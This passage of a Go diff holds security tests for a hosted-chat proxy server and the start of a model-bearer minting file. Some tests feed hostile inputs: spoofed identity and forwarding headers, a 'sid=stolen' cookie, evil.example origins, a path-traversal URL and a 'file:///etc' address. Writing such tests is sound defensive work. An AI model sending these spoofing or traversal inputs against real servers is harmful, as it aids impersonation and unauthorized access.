f.mu.Unlock() + return f.owners[id] +} + +func (f *fakeChatHost) tokenOf(id string) string { + f.mu.Lock() + defer f.mu.Unlock() + return f.tokens[id] +} + +func (f *fakeChatHost) pushList() []hostPush { + f.mu.Lock() + defer f.mu.Unlock() + return append([]hostPush(nil), f.pushes...) +} + +func (f *fakeChatHost) ServeHTTP(w http.ResponseWriter, r *http.Request) { + raw, _ := io.ReadAll(r.Body) + f.mu.Lock() + f.seen = append(f.seen, hostSeen{r.Method, r.URL.Path, r.Header.Clone(), string(raw)}) + f.mu.Unlock() + person := r.Header.Get("X-Codeaf-Person") + if r.Header.Get("Authorization") != "Bearer "+f.secret || person == "" { + w.WriteHeader(http.StatusUnauthorized) + return + } + rest := strings.TrimPrefix(r.URL.Path, "/v1/sessions") + if rest == "" && r.Method == http.MethodPost { + id, url, token := jsonField(raw, "id"), jsonField(raw, "model_url"), jsonField(raw, "model_token") + f.mu.Lock() + f.owners[id], f.tokens[id] = person, token + f.pushes = append(f.pushes, hostPush{id, person, url, token}) + f.mu.Unlock() + // The id is deliberately left out of the answer: the org server adds it. + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusCreated) + _, _ = io.WriteString(w, `{"state":"suspended","created":"2026-11-24T00:00:00Z"}`+"\n") + return + } + if rest == "" && r.Method == http.MethodGet { + f.mu.Lock() + var mine []map[string]string + for id, owner := range f.owners { + if owner == person { + mine = append(mine, map[string]string{"id": id, "state": "suspended"}) + } + } + f.mu.Unlock() + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(map[string]any{"sessions": mine}) + return + } + parts := strings.Split(strings.TrimPrefix(rest, "/"), "/") + id := parts[0] + f.mu.Lock() + owner, exists := f.owners[id] + f.mu.Unlock() + if !exists || owner != person { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusNotFound) + _, _ = io.WriteString(w, hostNoSuchChat) + return + } + switch { + case len(parts) == 1 && r.Method == http.MethodGet: + w.Header().Set("Content-Type", "application/json") + _, _ = io.WriteString(w, `{"id":"`+id+`","state":"suspended"}`+"\n") + case len(parts) == 1 && r.Method == http.MethodDelete: + f.mu.Lock() + delete(f.owners, id) + delete(f.tokens, id) + f.mu.Unlock() + w.WriteHeader(http.StatusNoContent) + case len(parts) == 2 && parts[1] == "stop" && r.Method == http.MethodPost: + f.mu.Lock() + f.tokens[id] = "" + f.mu.Unlock() + w.WriteHeader(http.StatusNoContent) + case len(parts) == 2 && parts[1] == "credentials" && r.Method == http.MethodPut: + f.mu.Lock() + f.tokens[id] = jsonField(raw, "model_token") + f.pushes = append(f.pushes, hostPush{id, person, jsonField(raw, "model_url"), jsonField(raw, "model_token")}) + f.mu.Unlock() + w.WriteHeader(http.StatusNoContent) + case len(parts) == 2 && parts[1] == "wire" && r.Method == http.MethodGet: + f.mu.Lock() + held := f.tokens[id] + f.mu.Unlock() + if held == "" { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusConflict) + _, _ = io.WriteString(w, `{"error":"This chat has no model access yet."}`+"\n") + return + } + c, err := websocket.Accept(w, r, &websocket.AcceptOptions{InsecureSkipVerify: true, CompressionMode: websocket.CompressionDisabled}) + if err != nil { + return + } + c.SetReadLimit(4 << 20) + for { + kind, data, err := c.Read(r.Context()) + if err != nil { + return + } + if c.Write(r.Context(), kind, data) != nil { + return + } + } + default: + w.WriteHeader(http.StatusNotFound) + } +} + +func jsonField(raw []byte, name string) string { + var row map[string]string + _ = json.Unmarshal(raw, &row) + return row[name] +} + +// fakeUpstream stands in for the model endpoint behind /v1/model. +type fakeUpstream struct { + mu sync.Mutex + seen []upSeen + handler http.HandlerFunc +} + +type upSeen struct { + method, uri string + header http.Header + body string +} + +func (u *fakeUpstream) requests() []upSeen { + u.mu.Lock() + defer u.mu.Unlock() + return append([]upSeen(nil), u.seen...) +} + +func (u *fakeUpstream) ServeHTTP(w http.ResponseWriter, r *http.Request) { + raw, _ := io.ReadAll(r.Body) + r.Body = io.NopCloser(bytes.NewReader(raw)) + u.mu.Lock() + u.seen = append(u.seen, upSeen{r.Method, r.URL.RequestURI(), r.Header.Clone(), string(raw)}) + handler := u.handler + u.mu.Unlock() + if handler != nil { + handler(w, r) + return + } + w.Header().Set("Content-Type", "application/json") + _, _ = io.WriteString(w, `{"ok":true}`) +} + +// hostedRig is the organization scene with hosted chats turned on and a fake +// chats' host and upstream behind it. +type hostedRig struct { + *wsOrg + host *fakeChatHost + hostSrv *httptest.Server + up *fakeUpstream + upSrv *httptest.Server +} + +const ( + rigSecret = "shared-secret-0123456789-abcdefghij" + rigModelURL = "http://codeaf.test/v1/model" +) + +func newHostedRig(t *testing.T) *hostedRig { + t.Helper() + rg := &hostedRig{wsOrg: newWSOrg(t), host: newFakeChatHost(rigSecret), up: &fakeUpstream{}} + rg.hostSrv = httptest.NewServer(rg.host) + rg.upSrv = httptest.NewServer(rg.up) + t.Cleanup(rg.hostSrv.Close) + t.Cleanup(rg.upSrv.Close) + rg.configure(t, func(*HostedConfig) {}) + return rg +} + +// configure restarts the handler with hosted chats on, the way the scene's +// other tests restart theirs; the signed-in people survive the restart. +func (rg *hostedRig) configure(t *testing.T, edit func(*HostedConfig)) { + t.Helper() + cfg := HostedConfig{URL: rg.hostSrv.URL, Secret: rigSecret, ModelURL: rigModelURL, ModelUpstream: rg.upSrv.URL + "/api/v1"} + edit(&cfg) + rg.cfg.Hosted = &cfg + restartAccessOrg(t, rg.wsOrg) +} + +// send makes one request as who ("" for nobody) from a remote address, with +// extra headers set after the credential so a test may overwrite it. +func (rg *hostedRig) send(who, method, target string, body any, extra map[string]string) *httptest.ResponseRecorder { + text := "" + if body != nil { + data, _ := json.Marshal(body) + text = string(data) + } + r := httptest.NewRequest(method, target, strings.NewReader(text)) + r.RemoteAddr = "192.0.2.1:1234" + if who != "" { + r.Header.Set("Authorization", "Bearer "+rg.tokens[who]) + } + for k, v := range extra { + r.Header.Set(k, v) + } + w := httptest.NewRecorder() + rg.h.ServeHTTP(w, r) + return w +} + +// create makes a chat as who and answers its id. +func (rg *hostedRig) create(t *testing.T, who string) string { + t.Helper() + w := rg.send(who, "POST", "/v1/hosted/sessions", nil, nil) + var out struct{ ID string } + if w.Code != 201 || json.Unmarshal(w.Body.Bytes(), &out) != nil || !hostedIDForm.MatchString(out.ID) { + t.Fatalf("create as %s: %d %s", who, w.Code, w.Body) + } + return out.ID +} + +// wireURL is the WebSocket address of one chat on a real server. +func wireURL(srv *httptest.Server, id string) string { + return "ws" + strings.TrimPrefix(srv.URL, "http") + "/v1/hosted/sessions/" + id + "/wire" +} + +func errorOf(t *testing.T, body []byte) string { + t.Helper() + var out struct{ Error string } + if err := json.Unmarshal(body, &out); err != nil || out.Error == "" { + t.Fatalf("not an error body: %q", body) + } + return out.Error +} + +// forbiddenToHost lists the headers a client may send that must never be +// seen by the chats' host or by the upstream. +var forbiddenToHost = []string{"Cookie", "X-Forwarded-For", "X-Forwarded-Host", "X-Forwarded-Proto", "Forwarded", "X-Real-Ip", "Origin", "X-Codeaf-Anything"} + +// hostedClientHeaders is everything a hostile client might try to supply. +func hostedClientHeaders() map[string]string { + return map[string]string{"X-Codeaf-Person": "someone-else", "X-Codeaf-Anything": "1", "Cookie": "sid=stolen", + "X-Forwarded-For": "203.0.113.9", "X-Forwarded-Host": "evil.example", "X-Forwarded-Proto": "https", + "Forwarded": "for=203.0.113.9", "X-Real-Ip": "203.0.113.9", "Origin": "https://evil.example"} +} + +// THE ORGANIZATION SERVER IS OFF BY DEFAULT: with no hosted setting, and with +// a setting that is empty, /v1/hosted and /v1/model answer exactly as a path +// the server has never heard of, for a signed-in person and for a stranger +// alike, and a known endpoint is untouched. +func TestC8_HostedOffByDefault(t *testing.T) { + plain := func(t *testing.T, o *wsOrg) { + t.Helper() + type probe struct{ method, path string } + for _, who := range []string{"santosh", ""} { + for _, p := range []probe{{"GET", "/v1/hosted/sessions"}, {"POST", "/v1/hosted/sessions"}, + {"GET", "/v1/hosted/sessions/hs_000000000000000000000000"}, {"POST", "/v1/hosted/sessions/hs_000000000000000000000000/stop"}, + {"GET", "/v1/hosted/sessions/hs_000000000000000000000000/wire"}, {"GET", "/v1/model/x"}, {"POST", "/v1/model/chat/completions"}} { + got, want := dropRequestID(t, hostedAs(o, who, p.method, p.path)), dropRequestID(t, hostedAs(o, who, p.method, "/v1/nope")) + if !reflect.DeepEqual(got, want) { + t.Fatalf("%s %s as %q answered %v; an unknown path answers %v", p.method, p.path, who, got, want) + } + } + } + // A model-looking bearer is no more welcome than any other credential. + bearer := map[string]string{"Authorization": "Bearer cmt_" + strings.Repeat("A", 43)} + got, want := dropRequestID(t, hostedWith(o, "GET", "/v1/model/x", bearer)), dropRequestID(t, hostedWith(o, "GET", "/v1/nope", bearer)) + if !reflect.DeepEqual(got, want) { + t.Fatalf("a model bearer on /v1/model/x answered %v; an unknown path answers %v", got, want) + } + if got := hostedAs(o, "santosh", "GET", "/v1/me"); got.status != 200 { + t.Fatalf("/v1/me = %d %s", got.status, got.body) + } + } + t.Run("unset", func(t *testing.T) { plain(t, newWSOrg(t)) }) + t.Run("empty", func(t *testing.T) { + o := newWSOrg(t) + o.cfg.Hosted = &HostedConfig{} + restartAccessOrg(t, o) + plain(t, o) + }) +} + +type hostedResult struct { + status int + kind string + body []byte +} + +func hostedAs(o *wsOrg, who, method, path string) hostedResult { + if who == "" { + return hostedWith(o, method, path, nil) + } + return hostedWith(o, method, path, map[string]string{"Authorization": "Bearer " + o.tokens[who]}) +} + +func hostedWith(o *wsOrg, method, path string, header map[string]string) hostedResult { + r := httptest.NewRequest(method, path, nil) + r.RemoteAddr = "192.0.2.1:1234" + for k, v := range header { + r.Header.Set(k, v) + } + w := httptest.NewRecorder() + o.h.ServeHTTP(w, r) + return hostedResult{w.Code, w.Header().Get("Content-Type"), w.Body.Bytes()} +} + +// dropRequestID reads an answer without the one field that differs by design. +func dropRequestID(t *testing.T, res hostedResult) map[string]any { + t.Helper() + out := map[string]any{"status": res.status, "type": res.kind} + var body map[string]any + if json.Unmarshal(res.body, &body) == nil { + delete(body, "request_id") + out["body"] = body + } else { + out["body"] = string(res.body) + } + return out +} + +// A CLIENT CANNOT SUPPLY WHO IT IS: whatever identity headers, credentials and +// forwarding headers a signed-in person sends on a list, a create, a read, a +// stop, a delete and a wire, the chats' host receives the shared secret and the +// VERIFIED handle, and none of what the client sent. +func TestC10_ClientCannotSupplyIdentityHeaders(t *testing.T) { + rg := newHostedRig(t) + hostile := hostedClientHeaders() + check := func(t *testing.T, what string, before int) { + t.Helper() + got := rg.host.requests()[before:] + if len(got) == 0 { + t.Fatalf("%s: the chats' host saw nothing", what) + } + for _, seen := range got { + if seen.header.Get("Authorization") != "Bearer "+rigSecret { + t.Fatalf("%s: %s %s authorization = %q", what, seen.method, seen.path, seen.header.Get("Authorization")) + } + if seen.header.Get("X-Codeaf-Person") != "santosh" { + t.Fatalf("%s: %s %s person = %q", what, seen.method, seen.path, seen.header.Get("X-Codeaf-Person")) + } + for _, name := range forbiddenToHost { + if values := seen.header.Values(name); len(values) != 0 { + t.Fatalf("%s: %s %s carried %s: %v", what, seen.method, seen.path, name, values) + } + } + for name := range seen.header { + if strings.HasPrefix(strings.ToLower(name), "x-codeaf-") && name != "X-Codeaf-Person" { + t.Fatalf("%s: %s %s carried %s", what, seen.method, seen.path, name) + } + } + } + } + before := rg.host.count() + w := rg.send("santosh", "POST", "/v1/hosted/sessions", nil, hostile) + var made struct{ ID string } + if w.Code != 201 || json.Unmarshal(w.Body.Bytes(), &made) != nil || !hostedIDForm.MatchString(made.ID) { + t.Fatalf("create = %d %s", w.Code, w.Body) + } + check(t, "create", before) + if owner := rg.host.ownerOf(made.ID); owner != "santosh" { + t.Fatalf("the chat belongs to %q, not the signed-in person", owner) + } + for _, step := range []struct{ name, method, path string }{ + {"list", "GET", "/v1/hosted/sessions"}, {"read", "GET", "/v1/hosted/sessions/" + made.ID}, + {"stop", "POST", "/v1/hosted/sessions/" + made.ID + "/stop"}, {"delete", "DELETE", "/v1/hosted/sessions/" + made.ID}} { + before = rg.host.count() + if w := rg.send("santosh", step.method, step.path, nil, hostile); w.Code >= 400 { + t.Fatalf("%s = %d %s", step.name, w.Code, w.Body) + } + check(t, step.name, before) + } + // The wire, on a real server so the handshake and the splice are real. + id := "hs_" + strings.Repeat("a", 24) + rg.host.adopt(id, "santosh") + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + header := http.Header{"Authorization": {"Bearer " + rg.tokens["santosh"]}} + for k, v := range hostile { + header.Set(k, v) + } + before = rg.host.count() + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + defer cancel() + c, _, err := websocket.Dial(ctx, wireURL(srv, id), &websocket.DialOptions{HTTPHeader: header}) + if err != nil { + t.Fatal(err) + } + if err := c.Write(ctx, websocket.MessageBinary, []byte("x")); err != nil { + t.Fatal(err) + } + if _, _, err := c.Read(ctx); err != nil { + t.Fatal(err) + } + c.Close(websocket.StatusNormalClosure, "") + check(t, "wire", before) +} + +// NO VERIFIED PERSON MEANS NO REQUEST TO THE CHATS' HOST: a stranger, a caller +// the server lets in without a person (the machine itself, or the operator's +// own access token, neither of which names a GitHub handle) and a wire from +// either all get a 401, and the host is never asked anything on their behalf. +func TestC10_NoIdentityIsRefused(t *testing.T) { + rg := newHostedRig(t) + loopback := func(method, target string) *httptest.ResponseRecorder { + r := httptest.NewRequest(method, target, nil) + r.RemoteAddr = "127.0.0.1:9" + r.Header.Set("Connection", "Upgrade") + r.Header.Set("Upgrade", "websocket") + w := httptest.NewRecorder() + rg.h.ServeHTTP(w, r) + return w + } + operator := func(method, target string) *httptest.ResponseRecorder { + r := httptest.NewRequest(method, target, nil) + r.RemoteAddr = "192.0.2.1:9" + r.Header.Set("Authorization", "Bearer operator-secret") + w := httptest.NewRecorder() + rg.h.ServeHTTP(w, r) + return w + } + id := "hs_" + strings.Repeat("b", 24) + for _, step := range []struct{ method, path string }{ + {"GET", "/v1/hosted/sessions"}, {"POST", "/v1/hosted/sessions"}, {"GET", "/v1/hosted/sessions/" + id}, + {"POST", "/v1/hosted/sessions/" + id + "/stop"}, {"DELETE", "/v1/hosted/sessions/" + id}, {"GET", "/v1/hosted/sessions/" + id + "/wire"}} { + for name, w := range map[string]*httptest.ResponseRecorder{ + "stranger": rg.send("", step.method, step.path, nil, nil), "this machine": loopback(step.method, step.path), "operator token": operator(step.method, step.path)} { + if w.Code != 401 { + t.Fatalf("%s %s as %s = %d %s; want 401", step.method, step.path, name, w.Code, w.Body) + } + } + } + if n := rg.host.count(); n != 0 { + t.Fatalf("the chats' host was asked %d times for callers with no verified person: %+v", n, rg.host.requests()) + } +} + +// A CHAT THAT IS NOT YOURS LOOKS LIKE ONE THAT DOES NOT EXIST: for a read, a +// stop, a delete and a wire, the answer for another person's chat is byte for +// byte the answer for an id nobody has and for a name that cannot be an id, and +// naming someone's chat costs its owner nothing. +func TestC10_OtherPersonsSessionLooksNonexistent(t *testing.T) { + rg := newHostedRig(t) + mine := rg.create(t, "santosh") + token := rg.host.tokenOf(mine) + if token == "" { + t.Fatal("create gave the chat no model access") + } + ghost := "hs_" + strings.Repeat("0", 24) + // Santosh's chat as the chats' host knows it, which this server has no + // bearer for (as after a restart): the wire must be answered by the host. + known := "hs_" + strings.Repeat("c", 24) + rg.host.adopt(known, "santosh") + upgrade := map[string]string{"Connection": "Upgrade", "Upgrade": "websocket", "Sec-WebSocket-Version": "13", "Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ=="} + for _, step := range []struct { + name, method, suffix string + extra map[string]string + }{{"read", "GET", "", nil}, {"stop", "POST", "/stop", nil}, {"delete", "DELETE", "", nil}, {"wire", "GET", "/wire", upgrade}} { + answer := func(who, id string) (int, string) { + w := rg.send(who, step.method, "/v1/hosted/sessions/"+id+step.suffix, nil, step.extra) + return w.Code, w.Body.String() + } + wantCode, wantBody := answer("abir", ghost) + if wantCode != 404 || wantBody != hostNoSuchChat { + t.Fatalf("%s of an unknown chat = %d %q", step.name, wantCode, wantBody) + } + for _, id := range []string{mine, known, "hs_zzz", "hs_" + strings.Repeat("A", 24), "hs_" + strings.Repeat("a", 23)} { + if code, body := answer("abir", id); code != wantCode || body != wantBody { + t.Fatalf("%s of %s as another person = %d %q; an unknown chat answers %d %q", step.name, id, code, body, wantCode, wantBody) + } + } + } + if pushes := rg.host.pushList(); len(pushes) != 1 || pushes[0].id != mine { + t.Fatalf("another person's attach made the host take credentials: %+v", pushes) + } + // Nothing abir did touched the owner's chat or its model access. + if w := rg.send("santosh", "GET", "/v1/hosted/sessions/"+mine, nil, nil); w.Code != 200 { + t.Fatalf("the owner's chat after all that = %d %s", w.Code, w.Body) + } + if w := rg.send("", "GET", "/v1/model/models", nil, map[string]string{"Authorization": "Bearer " + token}); w.Code != 200 { + t.Fatalf("the owner's model access after another person's stop and delete = %d %s", w.Code, w.Body) + } + if w := rg.send("santosh", "GET", "/v1/hosted/sessions", nil, nil); w.Code != 200 || !strings.Contains(w.Body.String(), mine) { + t.Fatalf("the owner's list = %d %s", w.Code, w.Body) + } + if w := rg.send("abir", "GET", "/v1/hosted/sessions", nil, nil); w.Code != 200 || strings.Contains(w.Body.String(), mine) { + t.Fatalf("another person's list = %d %s", w.Code, w.Body) + } +} + +// A WINDOW AND ITS CHAT TALK THROUGH THIS SERVER AND IT CHANGES NOTHING: binary +// frames survive both ways unchanged, the chats' host is given the model bearer +// once, before the connection opens, only when the chat has none live, and a +// stop makes the next attach give it a new one. +func TestC1_WireProxyCarriesFramesBothWays(t *testing.T) { + rg := newHostedRig(t) + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + id := "hs_" + strings.Repeat("d", 24) + rg.host.adopt(id, "santosh") + attach := func() *websocket.Conn { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + defer cancel() + c, _, err := websocket.Dial(ctx, wireURL(srv, id), &websocket.DialOptions{HTTPHeader: http.Header{"Authorization": {"Bearer " + rg.tokens["santosh"]}}}) + if err != nil { + t.Fatal(err) + } + c.SetReadLimit(1 << 20) + return c + } + frames := [][]byte{{0}, {}, bytes.Repeat([]byte{0, 1, 2, 254, 255, '\n', '{'}, 20000)} + roundTrip := func(c *websocket.Conn) { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + defer cancel() + for _, frame := range frames { + if err := c.Write(ctx, websocket.MessageBinary, frame); err != nil { + t.Fatal(err) + } + kind, got, err := c.Read(ctx) + if err != nil || kind != websocket.MessageBinary || !bytes.Equal(got, frame) { + t.Fatalf("a %d-byte frame came back as %v, %d bytes, %v", len(frame), kind, len(got), err) + } + } + } + first := attach() + roundTrip(first) + pushes := rg.host.pushList() + if len(pushes) != 1 || pushes[0].id != id || pushes[0].person != "santosh" || pushes[0].url != rigModelURL || + !strings.HasPrefix(pushes[0].token, "cmt_") || len(pushes[0].token) != 47 { + t.Fatalf("before the first attach the host was given %+v", pushes) + } + first.Close(websocket.StatusNormalClosure, "") + second := attach() + roundTrip(second) + second.Close(websocket.StatusNormalClosure, "") + if got := rg.host.pushList(); len(got) != 1 { + t.Fatalf("a re-attach with a live bearer pushed again: %+v", got) + } + if w := rg.send("santosh", "POST", "/v1/hosted/sessions/"+id+"/stop", nil, nil); w.Code != 204 { + t.Fatalf("stop = %d %s", w.Code, w.Body) + } + third := attach() + roundTrip(third) + third.Close(websocket.StatusNormalClosure, "") + got := rg.host.pushList() + if len(got) != 2 || got[1].token == got[0].token || got[1].url != rigModelURL { + t.Fatalf("after a stop the host was given %+v", got) + } + // A host that forgot its credentials (it restarted) answers a wire with a + // refusal; the next attach must push again instead of finding a live bearer. + rg.host.adopt(id, "santosh") + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + defer cancel() + if _, resp, err := websocket.Dial(ctx, wireURL(srv, id), &websocket.DialOptions{HTTPHeader: http.Header{"Authorization": {"Bearer " + rg.tokens["santosh"]}}}); err == nil || resp == nil || resp.StatusCode != 409 { + t.Fatalf("a host with no credentials let the wire open: %v %v", resp, err) + } + healed := attach() + roundTrip(healed) + healed.Close(websocket.StatusNormalClosure, "") + if got := rg.host.pushList(); len(got) != 3 { + t.Fatalf("after the host forgot, the next attach pushed %d times in all: %+v", len(got), got) + } +} + +// THE WIRE GOES THROUGH THE SERVER'S OWN HANDLER, not around it: a GET with no +// idempotency key reaches the route, and the same GET with a key is not made +// into a replay that would hold a connection's answer. +func TestC1_WireIsServedByTheRealHandler(t *testing.T) { + rg := newHostedRig(t) + id := "hs_" + strings.Repeat("e", 24) + rg.host.adopt(id, "santosh") + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + for _, key := range []string{"", "k-1"} { + header := http.Header{"Authorization": {"Bearer " + rg.tokens["santosh"]}} + if key != "" { + header.Set("Idempotency-Key", key) + } + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + c, _, err := websocket.Dial(ctx, wireURL(srv, id), &websocket.DialOptions{HTTPHeader: header}) + if err != nil { + cancel() + t.Fatalf("key %q: %v", key, err) + } + if err := c.Write(ctx, websocket.MessageBinary, []byte("ping")); err != nil { + t.Fatal(err) + } + if _, got, err := c.Read(ctx); err != nil || string(got) != "ping" { + t.Fatalf("key %q: %q %v", key, got, err) + } + c.Close(websocket.StatusNormalClosure, "") + cancel() + } +} + +// EVERY SENTENCE THIS SERVER SAYS ON ITS OWN ABOUT HOSTED CHATS IS PLAIN: each +// way the hosted routes and the model address can refuse or fail, driven +// through the real handler, says one sentence with none of the words a person +// has no use for. +func TestC9_PlainWords(t *testing.T) { + rg := newHostedRig(t) + id := rg.create(t, "santosh") + token := rg.host.tokenOf(id) + upgrade := map[string]string{"Connection": "Upgrade", "Upgrade": "websocket", "Sec-WebSocket-Version": "13", "Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ=="} + bearerOf := func(t string) map[string]string { return map[string]string{"Authorization": "Bearer " + t} } + type step struct { + name string + who string + method, path string + extra map[string]string + status int + } + ended := func(w *httptest.ResponseRecorder) string { return errorOf(t, w.Body.Bytes()) } + banned := []string{"uid", "sandbox", "sessionhost", "fence", "landlock", "daemon"} + run := func(steps []step) { + t.Helper() + for _, s := range steps { + w := rg.send(s.who, s.method, s.path, nil, s.extra) + if w.Code != s.status { + t.Fatalf("%s: %s %s = %d %s; want %d", s.name, s.method, s.path, w.Code, w.Body, s.status) + } + words := ended(w) + if !strings.HasSuffix(words, ".") || strings.Contains(words, "\n") { + t.Fatalf("%s: %q is not one plain sentence", s.name, words) + } + for _, word := range banned { + if strings.Contains(strings.ToLower(words), word) { + t.Fatalf("%s says %q, which has %q in it", s.name, words, word) + } + } + } + } + // Model address refusals, before anything is down. + run([]step{ + {"no bearer", "", "GET", "/v1/model/models", nil, 401}, + {"unknown bearer", "", "GET", "/v1/model/models", bearerOf("cmt_" + strings.Repeat("Z", 43)), 401}, + {"an organization credential", "", "GET", "/v1/model/models", bearerOf(rg.tokens["santosh"]), 401}, + {"wrong method", "", "DELETE", "/v1/model/models", bearerOf(token), 405}, + {"path out of the upstream", "", "GET", "/v1/model/../../x", bearerOf(token), 404}, + {"malformed id", "santosh", "GET", "/v1/hosted/sessions/hs_nope", nil, 404}, + }) + // A caller the server lets in without a verified person (this machine). + own := httptest.NewRequest("GET", "/v1/hosted/sessions", nil) + own.RemoteAddr = "127.0.0.1:9" + w := httptest.NewRecorder() + rg.h.ServeHTTP(w, own) + if w.Code != 401 || !strings.HasSuffix(errorOf(t, w.Body.Bytes()), ".") { + t.Fatalf("no verified person = %d %s", w.Code, w.Body) + } + big := httptest.NewRequest("POST", "/v1/model/chat/completions", strings.NewReader("{}")) + big.RemoteAddr, big.ContentLength = "192.0.2.1:1", 17<<20 + big.Header.Set("Authorization", "Bearer "+token) + w = httptest.NewRecorder() + rg.h.ServeHTTP(w, big) + if w.Code != 413 || !strings.HasSuffix(errorOf(t, w.Body.Bytes()), ".") { + t.Fatalf("an oversized request = %d %s", w.Code, w.Body) + } + if w := rg.send("santosh", "POST", "/v1/hosted/sessions/"+id+"/stop", nil, nil); w.Code != 204 { + t.Fatalf("stop = %d", w.Code) + } + run([]step{{"revoked bearer", "", "GET", "/v1/model/models", bearerOf(token), 401}}) + // The upstream goes down: a live bearer, and nothing to answer it. + live := rg.create(t, "santosh") + liveToken := rg.host.tokenOf(live) + rg.upSrv.Close() + run([]step{{"upstream down", "", "POST", "/v1/model/chat/completions", bearerOf(liveToken), 502}}) + // The chats' host goes down. + rg.hostSrv.Close() + run([]step{ + {"list with the host down", "santosh", "GET", "/v1/hosted/sessions", nil, 502}, + {"create with the host down", "santosh", "POST", "/v1/hosted/sessions", nil, 502}, + {"read with the host down", "santosh", "GET", "/v1/hosted/sessions/" + live, nil, 502}, + {"wire with a live bearer and the host down", "santosh", "GET", "/v1/hosted/sessions/" + live + "/wire", upgrade, 502}, + {"stop with the host down", "santosh", "POST", "/v1/hosted/sessions/" + live + "/stop", nil, 502}, + {"wire with no bearer and the host down", "santosh", "GET", "/v1/hosted/sessions/hs_" + strings.Repeat("f", 24) + "/wire", upgrade, 502}, + }) +} + +// A HALF-WRITTEN SETTING NEVER STARTS HOSTED CHATS: with no address the feature +// is off and nothing is said; with an address, a short secret, a bad address or +// a missing model setting is refused with a sentence that names the setting and +// never repeats a value. +func TestC8_HostedSettingsOffWhenEmptyAndRefusedWhenHalfSet(t *testing.T) { + good := [5]string{"http://chats:8790", "0123456789abcdef0123456789abcdef", "http://codeaf:8787/v1/model/", "http://stub:18890/api/v1/", ""} + if cfg, err := ParseHostedConfig("", good[1], good[2], good[3], good[4]); cfg != nil || err != nil { + t.Fatalf("an empty address = %v, %v; want off", cfg, err) + } + if cfg, err := ParseHostedConfig(" ", "", "", "", ""); cfg != nil || err != nil { + t.Fatalf("a blank address = %v, %v; want off", cfg, err) + } + cfg, err := ParseHostedConfig(good[0], good[1], good[2], good[3], " upstream-key ") + if err != nil || cfg == nil || cfg.ModelURL != "http://codeaf:8787/v1/model" || cfg.ModelUpstream != "http://stub:18890/api/v1" || cfg.ModelUpstreamKey != "upstream-key" { + t.Fatalf("a good setting = %+v, %v", cfg, err) + } + for name, bad := range map[string][5]string{ + "short secret": {good[0], "short-secret-value-31-characters-x"[:31], good[2], good[3], ""}, + "secret with space": {good[0], "0123456789abcdef 123456789abcdef-", good[2], good[3], ""}, + "no scheme": {"chats:8790", good[1], good[2], good[3], ""}, + "file scheme": {"file:///etc", good[1], good[2], good[3], ""}, + "sign-in in address": {"http://u:p@chats:8790", good[1], good[2], good[3], ""}, + "missing model url": {good[0], good[1], "", good[3], ""}, + "missing upstream": {good[0], good[1], good[2], "", ""}, + "bad upstream": {good[0], good[1], good[2], "://nope", ""}, + } { + got, err := ParseHostedConfig(bad[0], bad[1], bad[2], bad[3], bad[4]) + if got != nil || err == nil { + t.Fatalf("%s: got %+v, %v", name, got, err) + } + if !strings.Contains(err.Error(), "CODEAF_HOSTED_") { + t.Fatalf("%s: %q names no setting", name, err) + } + for _, value := range []string{bad[1], bad[4], bad[0]} { + if len(value) > 8 && strings.Contains(err.Error(), value) { + t.Fatalf("%s: the error repeats a value: %q", name, err) + } + } + } +} diff --git a/internal/factory/serve/model_proxy.go b/internal/factory/serve/model_proxy.go new file mode 100644 index 0000000000..8e8e9e0829 --- /dev/null +++ b/internal/factory/serve/model_proxy.go @@ -0,0 +1,256 @@ +package serve + +import ( + "crypto/rand" + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "io" + "log" + "net/http" + "net/http/httputil" + "path" + "strings" + "sync" + "time" +) + +// This file is the MODEL PROXY SEAM of a hosted chat. A chat that runs on the +// organization's own machine is given no model key of its own: it is given the +// address of this server's /v1/model and a short-lived bearer minted for that +// one chat, and this server forwards what it sends to the one upstream the +// operator configured. P0 adds no metering and holds no real key, because the +// point of the seam is that they can arrive here later without touching the +// chat; what it already guarantees is that a bearer dies with its chat. + +const ( + // mintedBearerPrefix is how a chat's model bearer announces itself, so a + // leaked one is recognisable in a paste and refused by any scanner. + mintedBearerPrefix = "cmt_" + // mintedBearerTTL is how long one bearer lives. A chat that outlasts it is + // given a fresh one at its next attach. + mintedBearerTTL = 12 * time.Hour + // modelRequestCap bounds the body one model call may carry, so a chat + // cannot make this server buffer or relay an unbounded upload. + modelRequestCap = 16 << 20 + // modelPrefix is the address the chats' model calls arrive on. + modelPrefix = "/v1/model/" + + // The sentences below are the ONLY words the model proxy ever says, and + // none of them carries a detail a chat could use to tell a bearer that was + // never issued from one that was revoked. + modelEnded = "This chat's model access has ended." + modelNotAnswer = "The model is not answering." + modelMethod = "The model accepts GET and POST only." + modelTooLarge = "That request is too large for the model." + modelNoSuchPlace = "There is nothing at that address." +) + +// bearerRow is what the table remembers about one minted bearer. The token +// itself is never kept: only its hash is the key, so a dump of this process +// holds nothing that can be presented. +type bearerRow struct { + session string + person string + expires time.Time + revoked bool +} + +// bearerTable holds every live model bearer, in memory only. A restart of the +// server ends them all, which is safe: the next attach mints a new one. +type bearerTable struct { + mu sync.Mutex + rows map[string]*bearerRow // sha256 hex of the token + current map[string]string // chat id to the hash of its newest token +} + +// bearerHash is the key a token is kept under. +func bearerHash(token string) string { + sum := sha256.Sum256([]byte(token)) + return hex.EncodeToString(sum[:]) +} + +// mint issues a bearer for one chat and ends the chat's previous one first, +// so a chat never holds two. Expired and revoked rows are dropped here, which +// is the only housekeeping the table needs: a dropped row answers "unknown", +// and unknown, expired and revoked are refused identically. +func (t *bearerTable) mint(session, person string, now time.Time) string { + t.mu.Lock() + defer t.mu.Unlock() + return t.mintLocked(session, person, now) +} + +func (t *bearerTable) mintLocked(session, person string, now 